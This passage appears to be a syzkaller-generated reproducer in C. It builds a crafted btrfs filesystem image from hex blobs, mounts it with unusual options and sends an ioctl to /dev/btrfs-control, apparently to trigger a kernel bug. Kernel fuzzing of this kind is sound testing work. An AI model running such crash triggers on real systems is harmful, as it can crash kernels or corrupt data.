00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xed\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5b\xbc\x64\x5f\x00\x00\x00\x00\x00\x00\x00\x00\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5b\xbc\x64\x5f\x00\x00\x00\x00\x00\x00\x00\x00\x31\x7f\x31\x74\x05\x61\x1b\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x5a\xea\xee\x03\xbd\x44\x2f\x8f\x6e\x93\xf8\xf3\x39\xd1\x94\x00\xd0\x50\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x33\x4c\x15\x19\x8c\x92\x46\x9d\xa9\x9b\x5d\xda\xa4\xf9\x40\x58\x06\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x50\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x50\x00\x00\x00\x00\x00\x06", 1024);
*(uint64_t*)0x20000490 = 0x400;
*(uint64_t*)0x20000498 = 0x50cca0;
*(uint64_t*)0x200004a0 = 0x20013d00;
memcpy((void*)0x20013d00, "\x4e\xd9\xa6\x3d\x73\x05\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x5a\xea\xee\x03\xbd\x44\x2f\x8f\x6e\x93\xf8\xf3\x39\xd1\x94\x00\xe0\x50\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x33\x4c\x15\x19\x8c\x92\x46\x9d\xa9\x9b\x5d\xda\xa4\xf9\x40\x58\x06\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x02\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\xfb\x0e\x00\x00\xa0\x00\x00\x00\x02\x01\x00\x00\x00\x00\x00\x00\x0c\x01\x01\x00\x00\x00\x00\x00\x00\xec\x0e\x00\x00\x0f\x00\x00\x00\x02\x01\x00\x00\x00\x00\x00\x00\x6c\x00\x00\x00\x00\x00\x00\x00\x00\xbd\x0a\x00\x00\x2f\x04\x00\x00\x03\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x1d\x0a\x00\x00\xa0\x00\x00\x00\x03\x01\x00\x00\x00\x00\x00\x00\x0c\x01\x01\x00\x00\x00\x00\x00\x00\x0e\x0a\x00\x00\x0f\x00\x00\x00\x03\x01\x00\x00\x00\x00\x00\x00\x6c\x00\x00\x00\x00\x00\x00\x00\x00\xd3\x09\x00\x00\x3b\x00\x00\x00\x04\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x33\x09\x00\x00\xa0\x00\x00\x00\x04\x01\x00\x00\x00\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x24\x09\x00\x00\x0f\x00\x00\x00\x04\x01\x00\x00\x00\x00\x00\x00\x18\x22\xa8\xf1\x26\x00\x00\x00\x00\xf5\x08\x00\x00\x2f\x00\x00\x00\x04\x01\x00\x00\x00\x00\x00\x00\x18\xd6\x5b\xa1\x35\x00\x00\x00\x00\xc6\x08\x00\x00\x2f\x00\x00\x00\x04\x01\x00\x00\x00\x00\x00\x00\x6c\x00\x00\x00\x00\x00\x00\x00\x00\xa7\x08\x00\x00\x1f\x00\x00\x00\x05\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x07\x08\x00\x00\xa0\x00\x00\x00\x05\x01\x00\x00\x00\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\xe9\x07\x00\x00\x1e\x00\x00\x00\x05\x01\x00\x00\x00\x00\x00\x00\x6c\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x07\x00\x00\x35\x00\x00\x00\x06\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x14\x07\x00\x00\xa0\x00\x00\x00\x06\x01\x00\x00\x00\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x01\x07\x00\x00\x13\x00\x00\x00\x06\x01\x00\x00\x00\x00\x00\x00\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x88\x06\x00\x00\x79", 523);
*(uint64_t*)0x200004a8 = 0x20b;
*(uint64_t*)0x200004b0 = 0x50e000;
*(uint64_t*)0x200004b8 = 0x20014000;
memcpy((void*)0x20014000, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x06\x00\x00\x00\x00\x00\x00\x00\x09\x00\x66\x69\x6c\x65\x2e\x63\x6f\x6c\x64\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xed\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x06\x00\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x30\x50\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x05\x00\x66\x69\x6c\x65\x32\x05\x00\x00\x00\x00\x00\x00\x00\x05\x00\x66\x69\x6c\x65\x33\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x28\x23\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xed\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x06\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x0b\x00\x08\x75\x73\x65\x72\x2e\x78\x61\x74\x74\x72\x31\x78\x61\x74\x74\x72\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x0b\x00\x08\x75\x73\x65\x72\x2e\x78\x61\x74\x74\x72\x32\x78\x61\x74\x74\x72\x32\x03\x00\x00\x00\x00\x00\x00\x00\x05\x00\x66\x69\x6c\x65\x31\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xed\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x06\x00\x00\x00\x00\x00\x00\x00\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2f\x74\x6d\x70\x2f\x73\x79\x7a\x2d\x69\x6d\x61\x67\x65\x67\x65\x6e\x30\x39\x33\x37\x33\x36\x38\x39\x38\x2f\x66\x69\x6c\x65\x30\x2f\x66\x69\x6c\x65\x30\x03\x00\x00\x00\x00\x00\x00\x00\x05\x00\x66\x69\x6c\x65\x31\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x26\x00\x00\x00\x00\x00\x00\x00\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x06\x00\x00\x00\x00\x00\x00\x00\x1a\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x6c\x65\x72\x73\x79\x7a\x6b\x61\x6c\x02\x00\x00\x00\x00\x00\x00\x00\x05\x00\x66\x69\x6c\x65\x30\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x1a\x04\x00\x00\x00\x00\x00\x00\x1a\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xed\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\xdb\x26", 2338);
*(uint64_t*)0x200004c0 = 0x922;
*(uint64_t*)0x200004c8 = 0x50e6e0;
*(uint64_t*)0x200004d0 = 0x20000940;
memcpy((void*)0x20000940, "\xfa\x55\x35\xc0\x12\xd0\x66\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x5a\xea\xee\x03\xbd\x44\x2f\x8f\x6e\x93\xf8\xf3\x39\xd1\x94\x00\x00\x51\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x33\x4c\x15\x19\x8c\x92\x46\x9d\xa9\x9b\x5d\xda\xa4\xf9\x40\x58\x06\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf9\x01\x00\x00\x00\x00\x00\x00\x00\x73\x0f\x00\x00\x28\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xcc\x00\x00\x10\x00\x00\x00\x00\x00\x43\x0f\x00\x00\x30\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xcc\x00\x00\x50\x00\x00\x00\x00\x00\x13\x0f\x00\x00\x30\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xcc\x00\x00\x69\x00\x00\x00\x00\x00\xe3\x0e\x00\x00\x30", 198);
*(uint64_t*)0x200004d8 = 0xc6;
*(uint64_t*)0x200004e0 = 0x510000;
*(uint64_t*)0x200004e8 = 0x20015700;
memcpy((void*)0x20015700, "\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x69\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x33\x4c\x15\x19\x8c\x92\x46\x9d\xa9\x9b\x5d\xda\xa4\xf9\x40\x58\x03\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x33\x4c\x15\x19\x8c\x92\x46\x9d\xa9\x9b\x5d\xda\xa4\xf9\x40\x58\x03\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x33\x4c\x15\x19\x8c\x92\x46\x9d\xa9\x9b\x5d\xda\xa4\xf9\x40\x58", 152);
*(uint64_t*)0x200004f0 = 0x98;
*(uint64_t*)0x200004f8 = 0x510f40;
memcpy((void*)0x200000c0, "notreelog", 9);
*(uint8_t*)0x200000c9 = 0x2c;
*(uint8_t*)0x200000ca = 0;
	res = -1;
res = syz_mount_image(0x20000000, 0x20000100, 0x1000000, 0x20, 0x20000200, 0, 0x200000c0);
	if (res != -1)
		r[1] = res;
memcpy((void*)0x20000140, "btrfs\000", 6);
memcpy((void*)0x200008c0, "./file0/file0\000", 14);
*(uint64_t*)0x20001c40 = 0x20001a40;
memcpy((void*)0x20001a40, "\x05\x58\x82\xb8\xe1\xe3\x61\xd7\xa1\x66\xaa\xa7\x58\xce\x0c\x1f\xc8\xf3\x63\x3f\x9c\x5b\xb9\xc3\x27\x3c\xe7\x5b\x24\x98\x42\x64\xc5\xbb\x8f\xd6\x57\x4c\x04\x58\xea\x24\x7d\x9b\x32\xc5\x9e\xbe\xfa\xf8\xc7\xd1\xf5\x25\xc6\x0d\x1f\xbf\x39\xa7\xc9\xd9\x50\x7c\x4d\x12\x1a\x5b\x23\x35\xce\xac\x8e\x4f\x1e\x2f\x99\x5b\x26\x09\xe9\x6b\xbf\x92\x37\xf5\xfd\x78\x86\xf5\x7c\x8a\xae\xea\xe2\x1f\x1f\xb3\x0b\x1a\x4a\xd2\x54\x23\x93\x21\x4d\x02\x6d\x2a\x06\xd8\x87\xc0\x2c\x4c\x5c\x77\xe8\xc4\xd0\x79\xb8\x5b\x7e\xa2\xe3\xd5\x52\x87\x4a\x29\xf2\x1a\xd9\x0f\xef\x41\xa4\xaa\xf6\x1d\x88\x2e\x9a\x68\x56\x43\xb2\x03\xc8\xe1\x37\x90\xb4\x4f\xee\x8f\x68\xa9\xca\x83\x0b\x68\x33\x97\xb8\x6c\xeb\x06\x71\x3d\x1d\x90\x86\x19\x6e\x91\x2d\x82\x03\xff\x43\x4d\x94\x83\x63\xc8\xe1\x54\x76\xaa\x30\x0b\xbd\x3e\x5b\x4a\xba\xb8\xe9\x10\xaa\xd1\x5e\x3a\x31\x00\x72\x59\xda\x46\xcb\x6b\x69\x67\xb7\xda\x10\x0e\x10\x0b\xf3\xff\xa1\xa4\x7d\xc0\xd4\xc4\x6f", 231);
*(uint64_t*)0x20001c48 = 0xe7;
*(uint64_t*)0x20001c50 = 0xe7;
*(uint64_t*)0x20001c58 = 0x20001b40;
memcpy((void*)0x20001b40, "\xda\x36\xc9\x5e\xa3\x18\xd7\x73\xcf\x89\x74\xdb\x29\xcb\x2c\x13\xb8\x42\xf7\x8b\x21\x3a\x13\x76\x9a\x91\xdc\x3d\xa1\xca\xba\xf5\x3f\xfa\xc8\x51\xec\x44\x82\xc5\x55\xa9\x2a\x8e\x88\xbe\xf0\x66\x1a\xcb\x81\x61\x36\x49\xa8\xd1\x4b", 57);
*(uint64_t*)0x20001c60 = 0x39;
*(uint64_t*)0x20001c68 = 2;
*(uint64_t*)0x20001c70 = 0x20001b80;
memcpy((void*)0x20001b80, "\xf1\x08\xa7\x19\x3f\x54\x3c\x06\xe6\xff\xb8\x42\xb9\x2c\xae\xa1\x13\xac\xe3\x3e\x74\xcf\x83\x06\xe5\x70\x40\x37\xb5\x6a\xb0\x77\x83\xba\x36\xe5\xa6\xdf\x72\xf7\x26\xed\xbe\x7a\x17\x13\xcc\x9a\x29\x08\x72\x4b\x55\x56\xb7\x81\xf8\x72\xcd\xee\x9f\x39\x75\xe4\x4f\x4f\x28\x05\xf2\xec\x87\xbb\x88\x7a\x1d\x62\x0b\x57\x5c\x3a\x5c\xf8\x30\xcd\xfa\x15\x21\xf8\x3f\x4d\xae\xc8\xa1\x5d\x86\xc8\x58\xd0\xfc\xef\xf8\x0c\x92\xab\xe8\x22\xcd\x4d\xc4\xeb\x58\x17\xf0\x2d\xd9\xc1\xfe\xc1\x64\x9d\x58\x26\x08\x34\x84\xb3\x73\x81\xe3\xe0\xe1\xd7\x9d\x3e\x79\xd2\x5e\x1c\x41\xf8\x10\x16\x68\xc6\x4e\xd5\x16\x1b\x9d\xc1\xe5\xc6\x50\x44\x4f\x41\xce\x3b", 158);
*(uint64_t*)0x20001c78 = 0x9e;
*(uint64_t*)0x20001c80 = 0x200;
memcpy((void*)0x20001cc0, "nossd", 5);
*(uint8_t*)0x20001cc5 = 0x2c;
memcpy((void*)0x20001cc6, "nodatacow", 9);
*(uint8_t*)0x20001ccf = 0x2c;
memcpy((void*)0x20001cd0, "metadata_ratio", 14);
*(uint8_t*)0x20001cde = 0x3d;
sprintf((char*)0x20001cdf, "0x%016llx", (long long)8);
*(uint8_t*)0x20001cf1 = 0x2c;
memcpy((void*)0x20001cf2, "fragment=all", 12);
*(uint8_t*)0x20001cfe = 0x2c;
memcpy((void*)0x20001cff, "fragment=data", 13);
*(uint8_t*)0x20001d0c = 0x2c;
memcpy((void*)0x20001d0d, "device", 6);
*(uint8_t*)0x20001d13 = 0x3d;
memcpy((void*)0x20001d14, "./file0", 7);
*(uint8_t*)0x20001d1b = 0x2c;
memcpy((void*)0x20001d1c, "noautodefrag", 12);
*(uint8_t*)0x20001d28 = 0x2c;
memcpy((void*)0x20001d29, "func", 4);
*(uint8_t*)0x20001d2d = 0x3d;
memcpy((void*)0x20001d2e, "MMAP_CHECK", 10);
*(uint8_t*)0x20001d38 = 0x2c;
memcpy((void*)0x20001d39, "fscontext", 9);
*(uint8_t*)0x20001d42 = 0x3d;
memcpy((void*)0x20001d43, "unconfined_u", 12);
*(uint8_t*)0x20001d4f = 0x2c;
memcpy((void*)0x20001d50, "dont_hash", 9);
*(uint8_t*)0x20001d59 = 0x2c;
*(uint8_t*)0x20001d5a = 0;
syz_mount_image(0x20000140, 0x200008c0, 9, 3, 0x20001c40, 0x800, 0x20001cc0);
memcpy((void*)0x20000080, "cpu.stat\000", 9);
	syscall(__NR_openat, -1, 0x20000080ul, 0ul, 0ul);
memcpy((void*)0x20000100, "/dev/btrfs-control\000", 19);
	res = syscall(__NR_openat, 0xffffffffffffff9cul, 0x20000100ul, 0ul, 0ul);
	if (res != -1)
		r[2] = res;
*(uint32_t*)0x20000140 = -1;
*(uint64_t*)0x20000148 = 0;
*(uint64_t*)0x20000150 = 0;
*(uint64_t*)0x20000158 = 0;
*(uint64_t*)0x20000160 = 0;
*(uint64_t*)0x20000168 = 0;
*(uint64_t*)0x20000170 = 0;
*(uint64_t*)0x20000178 = 0;
	syscall(__NR_ioctl, r[2], 0x90009427, 0x20000140ul);
*(uint32_t*)0x20001d80 = r[2];
*(uint64_t*)0x20001d88 = 0;
*(uint64_t*)0x20001d90 = 8;
